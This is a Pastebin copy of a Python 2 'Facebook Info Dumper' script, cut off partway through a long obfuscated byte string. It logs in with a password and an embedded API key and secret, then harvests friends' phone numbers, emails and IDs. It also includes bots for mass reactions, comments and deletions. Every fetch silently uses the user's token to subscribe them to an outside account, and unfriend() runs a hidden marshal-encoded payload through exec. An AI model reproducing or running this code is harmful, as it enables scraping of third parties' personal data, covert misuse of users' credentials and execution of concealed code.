Advertisement
zmaim

fb.py

Feb 24th, 2019
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 153.02 KB | None | 0 0
  1. ###################################################################
  2. # Import Module
  3. import json , sys , hashlib , os , time , marshal
  4. ###################################################################
  5. '''
  6. Facebook Info Dumper 2019 Recoded By: -=ZM41M=-
  7. '''
  8. ###################################################################
  9. # COLOR
  10. if sys.platform in ["linux","linux2"]:
  11. W = "\033[0m"
  12. G = '\033[32;1m'
  13. R = '\033[31;1m'
  14. else:
  15. W = ''
  16. G = ''
  17. R = ''
  18. ###################################################################
  19. # Exception
  20. try:
  21. import requests
  22. except ImportError:
  23. print R + '_ _'.center(44)
  24. print "o' \.=./ `o".center(44)
  25. print '(o o)'.center(44)
  26. print 'ooO--(_)--Ooo'.center(44)
  27. print W + ' '
  28. print ('FID 2018').center(44)
  29. print ' '
  30. print "[!] Can't import module 'requests'\n"
  31. sys.exit()
  32. ####################################################################
  33. # Set Default encoding
  34. reload (sys)
  35. sys . setdefaultencoding ( 'utf8' )
  36. ####################################################################
  37. # I don't know
  38. jml = []
  39. jmlgetdata = []
  40. n = []
  41. ####################################################################
  42. # BANNER
  43. def baliho():
  44. try:
  45. token = open('cookie/token.log','r').read()
  46. r = requests.get('https://graph.facebook.com/me?access_token=' + token)
  47. a = json.loads(r.text)
  48. name = a['name']
  49. n.append(a['name'])
  50. print R + '_ _'.center(44)
  51. print "o' \.=./ `o".center(44)
  52. print '(o o)'.center(44)
  53. print 'ooO--(_)--Ooo'.center(44)
  54. print ' ' + W
  55. print ('[*] ' + name + ' [*]').center(44)
  56. print ' '
  57.  
  58. except (KeyError,IOError):
  59. print R + '_ _'.center(44)
  60. print "o' \.=./ `o".center(44)
  61. print '(o o)'.center(44)
  62. print 'ooO--(_)--Ooo'.center(44)
  63. print ' ' + W
  64. print ('FID 2018').center(44)
  65. print (W + G +' Facebook Info Dumper 2019\n Recoded By: -=ZM41M=-'+ W)
  66. print ' '
  67. ####################################################################
  68. # Print In terminal
  69. def show_program():
  70.  
  71. print '''
  72. %sINFORMATION%s
  73. ------------------------------------------------------
  74.  
  75. Author Debby Anggraini
  76. Name Facebook Info Dumper 2019
  77. Recoded -=ZM41M=-
  78. version Full Version
  79. Date 09/18/2018
  80. Team PCSC
  81. Facebook https://www.facebook.com/zmaimace.navarro
  82. '''%(G,W)
  83. def info_ga():
  84.  
  85. print '''
  86. %sCOMMAND DESCRIPTION%s
  87. ------------- -------------------------------------
  88.  
  89. get_data Fetching all friends data
  90. get_info Show information about your friend
  91.  
  92. dump_id Fetching all id from friend list
  93. dump_phone Fetching all phone number from friend list
  94. dump_mail Fetching all emails from friend list
  95. dump_<id>_id Fetching all id from your friends <spesific>
  96. ex: dump_username_id
  97.  
  98. token Generate access token
  99. cat_token Show your access token
  100. rm_token Remove access token
  101.  
  102. bot Open bot menu
  103.  
  104. clear Clear terminal
  105. help Show help
  106. about Show information about this program
  107. exit Exit the program
  108. '''%(G,W)
  109. def menu_bot():
  110. print '''
  111. %sNumber INFO%s
  112. --------- ------------------------------------
  113.  
  114. [ 01 ] Auto Reactions
  115. [ 02 ] Auto Comment
  116. [ 03 ] Auto Poke
  117. [ 04 ] Accept all Friend Requests
  118. [ 05 ] Delete all Posts in your Timeline
  119. [ 06 ] Delete all Friends
  120. [ 07 ] Stop Following all Friends
  121. [ 08 ] Delete all Photo Albums
  122.  
  123. [ 00 ] Back to Main Menu
  124. '''%(G,W)
  125. def menu_reaction():
  126. print '''
  127. %sNumber INFO%s
  128. ---------- ------------------------------------
  129.  
  130. [ 01 ] Like
  131. [ 02 ] Reaction 'LOVE'
  132. [ 03 ] Reaction 'WOW'
  133. [ 04 ] Reaction 'HAHA'
  134. [ 05 ] Reaction 'SAD'
  135. [ 06 ] Reaction 'ANGRY'
  136.  
  137. [ 00 ] Back to Menu Bot
  138. '''%(G,W)
  139. ####################################################################
  140. # GENERATE ACCESS TOKEN
  141. def get(data):
  142. print '[*] Generate access token '
  143.  
  144. try:
  145. os.mkdir('cookie')
  146. except OSError:
  147. pass
  148.  
  149. b = open('cookie/token.log','w')
  150. try:
  151. r = requests.get('https://api.facebook.com/restserver.php',params=data)
  152. a = json.loads(r.text)
  153.  
  154. b.write(a['access_token'])
  155. b.close()
  156. print '[*] Successfully generate access token'
  157. print '[*] Your access token is stored in cookie/token.log'
  158. exit()
  159. except KeyError:
  160. print '[!] Failed to generate access token'
  161. print '[!] Check your connection / email or password'
  162. os.remove('cookie/token.log')
  163. main()
  164. except requests.exceptions.ConnectionError:
  165. print '[!] Failed to generate access token'
  166. print '[!] Connection error !!!'
  167. os.remove('cookie/token.log')
  168. main()
  169. def id():
  170. print '[*] Login to your facebook account ';id = raw_input('[?] Username : ');pwd = raw_input('[?] Password : ');API_SECRET = '62f8ce9f74b12f84c123cc23437a4a32';data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"};sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.0'+API_SECRET
  171. x = hashlib.new('md5')
  172. x.update(sig)
  173.  
  174. data.update({'sig':x.hexdigest()})
  175. get(data)
  176. ####################################################################
  177. # BOT
  178. # Execute #
  179. def post():
  180. global token , WT
  181.  
  182. try:
  183. if WT == 'wallpost':
  184. print '[*] Fetching all posts id'
  185.  
  186. r = requests.get('https://graph.facebook.com/v3.0/me?fields=home.limit(50)&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  187. result = json.loads(r.text)
  188.  
  189. for i in result['home']['data']:
  190. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
  191. return result['home']['data']
  192.  
  193. elif WT == 'me':
  194. print '[*] Fetching all posts id'
  195.  
  196. r = requests.get('https://graph.facebook.com/v3.0/me?fields=feed.limit(500)&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  197. result = json.loads(r.text)
  198.  
  199. for i in result['feed']['data']:
  200. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
  201. return result['feed']['data']
  202.  
  203. elif WT == 'req':
  204. print '[*] Fetching all friends requests'
  205.  
  206. r = requests.get('https://graph.facebook.com/me/friendrequests?limit=50&access_token=' + token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  207. result = json.loads(r.text)
  208.  
  209. for i in result['data']:
  210. print '\r[*] %s retrieved '%(i['from']['id']),;sys.stdout.flush();time.sleep(0.01)
  211. return result['data']
  212.  
  213. elif WT == 'friends':
  214. print '[*] Fetching all friends id'
  215.  
  216. r = requests.get('https://graph.facebook.com/me?fields=friends.limit(5000)&access_token=' + token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  217. result = json.loads(r.text)
  218.  
  219. for i in result['friends']['data']:
  220. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.001)
  221. return result['friends']['data']
  222.  
  223. elif WT == 'subs':
  224. print '[*] Fetching all friends id'
  225.  
  226. r = requests.get('https://graph.facebook.com/me/subscribedto?limit=50&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  227. result = json.loads(r.text)
  228.  
  229. for i in result['data']:
  230. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.01)
  231. return result
  232.  
  233. elif WT == 'albums':
  234. print '[*] Fetching all albums id'
  235.  
  236. r = requests.get('https://graph.facebook.com/me?fields=albums.limit(5000)&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  237. result = json.loads(r.text)
  238.  
  239. for i in result['albums']['data']:
  240. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.001)
  241. return result['albums']['data']
  242.  
  243. else:
  244. print '[*] Fetching all posts id'
  245.  
  246. r = requests.get("https://graph.facebook.com/v3.0/%s?fields=feed.limit(50)&access_token=%s"%(id,token));requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  247. result = json.loads(r.text)
  248.  
  249. for i in result['feed']['data']:
  250. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
  251. return result['feed']['data']
  252.  
  253. except KeyError:
  254. print '[!] Failed to retrieve all post id'
  255. print '[!] Stopped'
  256. bot()
  257. except requests.exceptions.ConnectionError:
  258. print '[!] Connection Error'
  259. print '[!] Stopped'
  260. bot()
  261. except KeyboardInterrupt:
  262. print '\r[!] Stopped '
  263. bot()
  264. def like(posts , amount):
  265. global type , token , WT
  266.  
  267. print '\r[*] All posts id successfuly retrieved '
  268. print '[*] Start'
  269.  
  270. try:
  271. counter = 0
  272. for post in posts:
  273.  
  274. if counter >= amount:
  275. break
  276. else:
  277. counter += 1
  278.  
  279. parameters = {'access_token' : token , 'type' : type}
  280. url = "https://graph.facebook.com/{0}/reactions".format(post['id'])
  281. s = requests.post(url, data = parameters)
  282.  
  283. id = post['id'].split('_')[0]
  284.  
  285. try:
  286. print '\r' + W + '[' + G + id + W + '] ' + post['message'][:40].replace('\n',' ') + '...'
  287. except KeyError:
  288. try:
  289. print '\r' + W + '[' + G + id + W + '] ' + post['story'].replace('\n',' ')
  290. except KeyError:
  291. print '\r' + W + '[' + G + id + W + '] Successfully liked'
  292.  
  293. print '\r[*] Done '
  294. menu_reaction_ask()
  295. except KeyboardInterrupt:
  296. print '\r[!] Stopped '
  297. menu_reaction_ask()
  298. def comment(posts , amount):
  299. global message , token
  300.  
  301. print '\r[*] All posts id successfuly retrieved '
  302. print '[*] Start'
  303.  
  304. try:
  305. counter = 0
  306. for post in posts:
  307. if counter >= amount:
  308. break
  309. else:
  310. counter += 1
  311.  
  312. parameters = {'access_token' : token, 'message' : message}
  313. url = "https://graph.facebook.com/{0}/comments".format(post['id'])
  314. s = requests.post(url, data = parameters)
  315.  
  316. id = post['id'].split('_')[0]
  317.  
  318. try:
  319. print W + '[' + G + id + W + '] ' +post['message'][:40].replace('\n',' ') + '...'
  320. except KeyError:
  321. try:
  322. print W + '[' + G + id + W + '] ' + post['story'].replace('\n',' ')
  323. except KeyError:
  324. print W + '[' + G + id + W + '] successfully commented'
  325. print '[*] Done'
  326. bot()
  327. except KeyboardInterrupt:
  328. print '\r[!] Stopped'
  329. bot()
  330. def remove(posts):
  331. global token , WT
  332.  
  333. print '\r[*] All post id successfully retrieved '
  334. print '[*] Start'
  335.  
  336. try:
  337. counter = 0
  338. for post in posts:
  339. if counter >= 50:
  340. break
  341.  
  342. r = requests.post('https://graph.facebook.com/{id}?method=delete&access_token={token}'.format(id=post['id'],token=token))
  343. a = json.loads(r.text)
  344.  
  345. try:
  346. cek = a['error']['message']
  347. print W + '[' + R + post['id'] + W +'] Failed'
  348. except TypeError:
  349. print W + '[' + G + post['id'] + W + '] Removed'
  350. counter += 1
  351. print '[*] Done'
  352. bot()
  353. except KeyboardInterrupt:
  354. print '\r[!] Stopped'
  355. bot()
  356. def confirm(posts):
  357. global token , WT
  358.  
  359. print '\r[*] All friend requests successfully retrieved '
  360. print '[*] Start'
  361.  
  362. try:
  363. counter = 0
  364. for post in posts:
  365. if counter >= 50:
  366. break
  367. else:
  368. counter += 1
  369.  
  370. r = requests.post('https://graph.facebook.com/me/friends/%s?access_token=%s'%(post['from']['id'] , token))
  371. a = json.loads(r.text)
  372.  
  373. try:
  374. cek = a['error']['message']
  375. print W + '[' + R + post['from']['name'] + W + '] Failed'
  376. except TypeError:
  377. print W + '[' + G + post['from']['name'] + W + '] Confirmed'
  378. print '[*] Done'
  379. bot()
  380. except KeyboardInterrupt:
  381. print '\r[!] Stopped'
  382. bot()
  383. def unfriend(posts):
  384.  
  385. # sorry bruda feature is encrypted because it doesn't
  386. # allowed by bot fb owners :)
  387. # for those who can unmarshal, please use it yourself
  388.  
  389. exec marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\xf5\x12\x00\x00@\x00\x00\x00s\x89<\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x02\x00d\x03\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\x0b\x00d\x0c\x00d\r\x00d\x0e\x00d\x0f\x00d\x10\x00d\x11\x00d\x12\x00d\x13\x00d\x14\x00d\x15\x00d\x16\x00d\x17\x00d\x18\x00d\x19\x00d\x1a\x00d\x1b\x00d\x1c\x00d\x1d\x00d\x1e\x00d\x1f\x00d \x00d!\x00d"\x00d#\x00d$\x00d%\x00d&\x00d\x18\x00d\'\x00d(\x00d)\x00d*\x00d\t\x00d+\x00d \x00d,\x00d\x0c\x00d-\x00d.\x00d/\x00d0\x00d \x00d1\x00d\x06\x00d2\x00d3\x00d4\x00d5\x00d6\x00d*\x00d7\x00d8\x00d9\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d@\x00dA\x00d\x1a\x00dB\x00dC\x00dD\x00dE\x00d\x1b\x00d?\x00dF\x00dG\x00d$\x00dH\x00dI\x00dJ\x00dK\x00d\x10\x00d\x02\x00dL\x00dM\x00dN\x00dO\x00dP\x00dQ\x00dR\x00dS\x00dT\x00dU\x00dV\x00dW\x00d=\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00d]\x00dU\x00d?\x00d^\x00d\\\x00d_\x00dO\x00d`\x00d\t\x00d\x0c\x00da\x00db\x00d\x06\x00dc\x00d9\x00dd\x00de\x00df\x00dg\x00d@\x00dh\x00di\x00d!\x00dj\x00dk\x00d\x19\x00d\x1b\x00dl\x00dm\x00d[\x00d9\x00dn\x00do\x00dH\x00d0\x00dp\x00d\x1e\x00dq\x00dr\x00ds\x00dn\x00d:\x00dB\x00d\x19\x00dt\x00d0\x00du\x00d\x19\x00d\x1f\x00dv\x00d0\x00d\x04\x00d\x1c\x00ds\x00dM\x00dZ\x00dw\x00d5\x00dx\x00dy\x00d\x0b\x00dz\x00d{\x00d|\x00d\x02\x00d}\x00d~\x00d\x7f\x00dI\x00d\x80\x00d\x81\x00dn\x00d\x82\x00d\\\x00d\x83\x00d\x84\x00dZ\x00d\x85\x00d\x86\x00d\x84\x00d\x87\x00d\x1c\x00d\x88\x00d\x89\x00d\x8a\x00d\x8b\x00d\x8c\x00d\x8d\x00d\x8e\x00d\x8f\x00d\x90\x00d\x91\x00d\x92\x00d\x93\x00d>\x00dp\x00d\x1a\x00dA\x00d\x94\x00d\x95\x00d<\x00d\x96\x00d\x19\x00d$\x00d\x1c\x00d\x1d\x00d\x97\x00d\x98\x00d\x99\x00dQ\x00d\x9a\x00dV\x00dA\x00dq\x00d\x97\x00d9\x00dV\x00dc\x00d\x9b\x00d\x9c\x00d\x9d\x00d\x9b\x00d\x9e\x00d\x9f\x00d\xa0\x00d\xa1\x00dA\x00dA\x00dH\x00d\xa2\x00d\xa3\x00d\x9e\x00d\xa4\x00d\xa5\x00d\x9d\x00d\xa6\x00d\xa7\x00d\x95\x00dr\x00d\xa5\x00d\'\x00d\xa8\x00dl\x00d\x18\x00d8\x00d\xa9\x00d\x8b\x00d~\x00d\x05\x00di\x00d[\x00d\x08\x00d\xaa\x00d\xab\x00d\xac\x00dV\x00d\xad\x00d\x0e\x00d\xae\x00dH\x00d\x11\x00d\xaf\x00d\xa9\x00d\xb0\x00d\x13\x00d/\x00d\x17\x00d\x18\x00d\xb1\x00d\x1a\x00d\x1b\x00d\xa6\x00d\x1d\x00d6\x00d\xac\x00d \x00d&\x00d\x1a\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00d\xb2\x00d(\x00d)\x00d\xb3\x00d\t\x00d+\x00d\xb4\x00d,\x00d\x0c\x00d\xb5\x00d.\x00d/\x00d\xb6\x00d \x00d1\x00d\xb7\x00d2\x00d3\x00d\xad\x00d5\x00d6\x00dj\x00d7\x00d8\x00d4\x00d8\x00d:\x00dD\x00d<\x00d=\x00d{\x00d>\x00d?\x00d\x99\x00dA\x00d\x1a\x00d~\x00dC\x00dD\x00d\x95\x00d\x1b\x00d?\x00d\xb8\x00dG\x00d$\x00d~\x00dI\x00dJ\x00d\xb9\x00d\x10\x00d\x02\x00dc\x00dM\x00dN\x00d\x1c\x00dP\x00dQ\x00dZ\x00dS\x00dT\x00d\xba\x00dV\x00dW\x00d\xbb\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d)\x00d+\x00d\x1c\x00d\x81\x00dU\x00d?\x00d\xb6\x00d\\\x00d_\x00dh\x00d`\x00d\t\x00d\xbc\x00da\x00db\x00d6\x00dc\x00d9\x00dR\x00de\x00df\x00d\xbd\x00d@\x00dh\x00d\x8a\x00d!\x00dj\x00d9\x00d\x19\x00d\x1b\x00d\xbe\x00dm\x00d[\x00d\xbf\x00dn\x00do\x00d\xc0\x00d0\x00dp\x00d\x98\x00dq\x00dr\x00dk\x00dn\x00d:\x00d{\x00d\x19\x00dt\x00d\x91\x00du\x00d\x19\x00d\xa3\x00dv\x00d0\x00d\x0f\x00d\x1c\x00ds\x00de\x00dZ\x00dw\x00d\xaa\x00dx\x00dy\x00de\x00dz\x00d{\x00d2\x00d\x02\x00d}\x00d\xc1\x00d\x7f\x00dI\x00d}\x00d\x81\x00dn\x00d\x8b\x00d\\\x00d\x83\x00d\x89\x00dZ\x00d\x85\x00dE\x00d\x84\x00d\x87\x00d\x05\x00d\x88\x00d\x89\x00d\xb7\x00d\x8b\x00d\x8c\x00d8\x00d\x8e\x00d\x8f\x00d{\x00d\x91\x00d\x92\x00d\xc2\x00d>\x00dp\x00d\xa7\x00dA\x00d\x94\x00d\x7f\x00d<\x00d\x96\x00d\xc3\x00d$\x00d\x1c\x00dG\x00d\x97\x00d\x98\x00d\xa4\x00dQ\x00d\x9a\x00d\xad\x00dA\x00dq\x00d\x04\x00d9\x00dV\x00d\xa6\x00d\x9b\x00d\x9c\x00dI\x00d\x9b\x00d\x9e\x00d\xc4\x00d\xa0\x00d\xa1\x00d\xb8\x00dA\x00dH\x00d\xc5\x00d\xa3\x00d\x9e\x00d/\x00d\xa5\x00d\x9d\x00d\x1d\x00d\xa7\x00d\x95\x00dc\x00d\xa5\x00d\'\x00d\xc6\x00dl\x00d\x18\x00d\xc7\x00d\xa9\x00d\x8b\x00d\xaa\x00d\x05\x00di\x00d\x14\x00d\x08\x00d\xaa\x00d\x1d\x00d\xac\x00dV\x00d(\x00d\x0e\x00d\xae\x00d\xa5\x00d\x11\x00d\xaf\x00d\xb4\x00d\xb0\x00d\x13\x00d0\x00d\x17\x00d\x18\x00d`\x00d\x1a\x00d\x1b\x00dA\x00d\x1d\x00d6\x00d>\x00d \x00d&\x00dl\x00d#\x00d$\x00dn\x00d&\x00d\x18\x00d\xb7\x00d(\x00d)\x00d\x12\x00d\t\x00d+\x00dt\x00d,\x00d\x0c\x00d6\x00d.\x00d/\x00d\xc0\x00d \x00d1\x00d\'\x00d2\x00d3\x00d\x8e\x00d5\x00d6\x00dE\x00d7\x00d8\x00d\xc8\x00d8\x00d:\x00d\xc9\x00d<\x00d=\x00d-\x00d>\x00d?\x00d \x00dA\x00d\x1a\x00d\xca\x00dC\x00dD\x00d/\x00d\x1b\x00d?\x00d8\x00dG\x00d$\x00dR\x00dI\x00dJ\x00d\xbb\x00d\x10\x00d\x02\x00dr\x00dM\x00dN\x00d\x8b\x00dP\x00dQ\x00d\xcb\x00dS\x00dT\x00d\xcc\x00dV\x00dW\x00d\x95\x00dX\x00d\x17\x00d\xcd\x00dZ\x00d[\x00d\x1d\x00d+\x00d\x1c\x00dY\x00dU\x00d?\x00d\x97\x00d\\\x00d_\x00d\xce\x00d`\x00d\t\x00dJ\x00da\x00db\x00d\x81\x00dc\x00d9\x00dG\x00de\x00df\x00d\xc4\x00d@\x00dh\x00d\x92\x00d!\x00dj\x00d\xcf\x00d\x19\x00d\x1b\x00di\x00dm\x00d[\x00dx\x00dn\x00do\x00d\x85\x00d0\x00dp\x00d\xd0\x00dq\x00dr\x00d\xcc\x00dn\x00d:\x00dA\x00d\x19\x00dt\x00d\xb1\x00du\x00d\x19\x00du\x00dv\x00d0\x00d\xab\x00d\x1c\x00ds\x00d\xd1\x00dZ\x00dw\x00d\xb4\x00dx\x00dy\x00d\xb3\x00dz\x00d{\x00d\x89\x00d\x02\x00d}\x00d&\x00d\x7f\x00dI\x00d^\x00d\x81\x00dn\x00dc\x00d\\\x00d\x83\x00dF\x00dZ\x00d\x85\x00d\xd2\x00d\x84\x00d\x87\x00d\xd3\x00d\x88\x00d\x89\x00d\\\x00d\x8b\x00d\x8c\x00d\xa7\x00d\x8e\x00d\x8f\x00d\x92\x00d\x91\x00d\x92\x00d\xca\x00d>\x00dp\x00d{\x00dA\x00d\x94\x00d\xd4\x00d<\x00d\x96\x00dA\x00d$\x00d\x1c\x00d\xa1\x00d\x97\x00d\x98\x00d\xcf\x00dQ\x00d\x9a\x00d\x8f\x00dA\x00dq\x00d\xa0\x00d9\x00dV\x00dM\x00d\x9b\x00d\x9c\x00d\xc0\x00d\x9b\x00d\x9e\x00d\t\x00d\xa0\x00d\xa1\x00d.\x00dA\x00dH\x00d\x88\x00d\xa3\x00d\x9e\x00d\x18\x00d\xa5\x00d\x9d\x00d\x89\x00d\xa7\x00d\x95\x00d\xd3\x00d\xa5\x00d\'\x00d;\x00dl\x00d\x18\x00d\xa9\x00d\xa9\x00d\x8b\x00d*\x00d\x05\x00di\x00dz\x00d\x08\x00d\xaa\x00d=\x00d\xac\x00dV\x00d\xd5\x00d\x0e\x00d\xae\x00d\xcb\x00d\x11\x00d\xaf\x00dK\x00d\xb0\x00d\x13\x00d\xd2\x00d\x17\x00d\x18\x00dB\x00d\x1a\x00d\x1b\x00d\xd6\x00d\x1d\x00d6\x00d\xd7\x00d \x00d&\x00d\xb0\x00d#\x00d$\x00d;\x00d&\x00d\x18\x00d=\x00d(\x00d)\x00d\xcb\x00d\t\x00d+\x00d \x00d,\x00d\x0c\x00d}\x00d.\x00d/\x00d\xd8\x00d \x00d1\x00d\xd9\x00d2\x00d3\x00d\x9c\x00d5\x00d6\x00d*\x00d7\x00d8\x00d(\x00d8\x00d:\x00d;\x00d<\x00d=\x00d-\x00d>\x00d?\x00d\xb6\x00dA\x00d\x1a\x00d\xa4\x00dC\x00dD\x00dD\x00d\x1b\x00d?\x00dF\x00dG\x00d$\x00d\x82\x00dI\x00dJ\x00dE\x00d\x10\x00d\x02\x00d(\x00dM\x00dN\x00dO\x00dP\x00dQ\x00d\xbd\x00dS\x00dT\x00d\xb9\x00dV\x00dW\x00d\xc7\x00dX\x00d\x17\x00dY\x00dZ\x00d[\x00d\\\x00d+\x00d\x1c\x00dN\x00dU\x00d?\x00d2\x00d\\\x00d_\x00d\x88\x00d`\x00d\t\x00d\x88\x00da\x00db\x00d\x06\x00dc\x00d9\x00d\x95\x00de\x00df\x00d\x81\x00d@\x00dh\x00d\xc0\x00d!\x00dj\x00di\x00d\x19\x00d\x1b\x00dj\x00dm\x00d[\x00d\xa1\x00dn\x00do\x00d\x94\x00d0\x00dp\x00d\xb8\x00dq\x00dr\x00d!\x00dn\x00d:\x00dd\x00d\x19\x00dt\x00d\x06\x00du\x00d\x19\x00d\xda\x00dv\x00d0\x00d\x14\x00d\x1c\x00ds\x00d\xa9\x00dZ\x00dw\x00d\xa4\x00dx\x00dy\x00d|\x00dz\x00d{\x00d\xcd\x00d\x02\x00d}\x00d{\x00d\x7f\x00dI\x00d\x11\x00d\x81\x00dn\x00d\x03\x00d\\\x00d\x83\x00d`\x00dZ\x00d\x85\x00d\xb7\x00d\x84\x00d\x87\x00d2\x00d\x88\x00d\x89\x00d\x8e\x00d\x8b\x00d\x8c\x00d\x8d\x00d\x8e\x00d\x8f\x00di\x00d\x91\x00d\x92\x00d3\x00d>\x00dp\x00d\x83\x00dA\x00d\x94\x00d\x0b\x00d<\x00d\x96\x00d/\x00d$\x00d\x1c\x00d\xd4\x00d\x97\x00d\x98\x00d\x11\x00dQ\x00d\x9a\x00d\x12\x00dA\x00dq\x00d\x97\x00d9\x00dV\x00d\x98\x00d\x9b\x00d\x9c\x00d!\x00d\x9b\x00d\x9e\x00dH\x00d\xa0\x00d\xa1\x00d\x88\x00dA\x00dH\x00d2\x00d\xa3\x00d\x9e\x00dA\x00d\xa5\x00d\x9d\x00d\xa6\x00d\xa7\x00d\x95\x00dU\x00d\xa5\x00d\'\x00d\n\x00dl\x00d\x18\x00d\xc6\x00d\xa9\x00d\x8b\x00dE\x00d\x05\x00di\x00d\x13\x00d\x08\x00d\xaa\x00ds\x00d\xac\x00dV\x00d|\x00d\x0e\x00d\xae\x00dI\x00d\x11\x00d\xaf\x00dg\x00d\xb0\x00d\x13\x00d[\x00d\x17\x00d\x18\x00di\x00d\x1a\x00d\x1b\x00d\xdb\x00d\x1d\x00d6\x00dn\x00d \x00d&\x00d1\x00d#\x00d$\x00d\x9a\x00d&\x00d\x18\x00da\x00d(\x00d)\x00d\x13\x00d\t\x00d+\x00d[\x00d,\x00d\x0c\x00d<\x00d.\x00d/\x00d\xd7\x00d \x00d1\x00d\xdc\x00d2\x00d3\x00dt\x00d5\x00d6\x00d\xdd\x00d7\x00d8\x00d\x05\x00d8\x00d:\x00d\x7f\x00d<\x00d=\x00dR\x00d>\x00d?\x00d+\x00dA\x00d\x1a\x00d~\x00dC\x00dD\x00d\xa3\x00d\x1b\x00d?\x00d\x84\x00dG\x00d$\x00d]\x00dI\x00dJ\x00d\x0c\x00d\x10\x00d\x02\x00d]\x00dM\x00dN\x00dR\x00dP\x00dQ\x00dZ\x00dS\x00dT\x00d\x06\x00dV\x00dW\x00d\xde\x00dX\x00d\x17\x00df\x00dZ\x00d[\x00d\xb1\x00d+\x00d\x1c\x00dE\x00dU\x00d?\x00d\xdf\x00d\\\x00d_\x00da\x00d`\x00d\t\x00d/\x00da\x00db\x00d6\x00dc\x00d9\x00d\xe0\x00de\x00df\x00dn\x00d@\x00dh\x00d\xb4\x00d!\x00dj\x00d\xd2\x00d\x19\x00d\x1b\x00d\xe1\x00dm\x00d[\x00d\xad\x00dn\x00do\x00d\xdb\x00d0\x00dp\x00d$\x00dq\x00dr\x00d\xc2\x00dn\x00d:\x00d\xd5\x00d\x19\x00dt\x00d\x8b\x00du\x00d\x19\x00dX\x00dv\x00d0\x00dZ\x00d\x1c\x00ds\x00d4\x00dZ\x00dw\x00d\xe2\x00dx\x00dy\x00d\x98\x00dz\x00d{\x00d\xa9\x00d\x02\x00d}\x00d\xe3\x00d\x7f\x00dI\x00dJ\x00d\x81\x00dn\x00d\x92\x00d\\\x00d\x83\x00dY\x00dZ\x00d\x85\x00d\xdb\x00d\x84\x00d\x87\x00d;\x00d\x88\x00d\x89\x00d\x88\x00d\x8b\x00d\x8c\x00dv\x00d\x8e\x00d\x8f\x00dH\x00d\x91\x00d\x92\x00d\x99\x00d>\x00dp\x00d\xd6\x00dA\x00d\x94\x00d\x96\x00d<\x00d\x96\x00d\xc3\x00d$\x00d\x1c\x00d9\x00d\x97\x00d\x98\x00dj\x00dQ\x00d\x9a\x00d\x0e\x00dA\x00dq\x00d\xe4\x00d9\x00dV\x00d\xe5\x00d\x9b\x00d\x9c\x00d#\x00d\x9b\x00d\x9e\x00d\x1a\x00d\xa0\x00d\xa1\x00d\xe6\x00dA\x00dH\x00d\x91\x00d\xa3\x00d\x9e\x00d(\x00d\xa5\x00d\x9d\x00d\xd0\x00d\xa7\x00d\x95\x00d#\x00d\xa5\x00d\'\x00d\xd4\x00dl\x00d\x18\x00d\x81\x00d\xa9\x00d\x8b\x00d\r\x00d\x05\x00di\x00dC\x00d\x08\x00d\xaa\x00d\x9b\x00d\xac\x00dV\x00d\x0b\x00d\x0e\x00d\xae\x00d3\x00d\x11\x00d\xaf\x00d[\x00d\xb0\x00d\x13\x00d\x8d\x00d\x17\x00d\x18\x00d\xd6\x00d\x1a\x00d\x1b\x00d|\x00d\x1d\x00d6\x00d\x9c\x00d \x00d&\x00d\xe7\x00d#\x00d$\x00d5\x00d&\x00d\x18\x00dk\x00d(\x00d)\x00dp\x00d\t\x00d+\x00d%\x00d,\x00d\x0c\x00d\xd6\x00d.\x00d/\x00d\x82\x00d 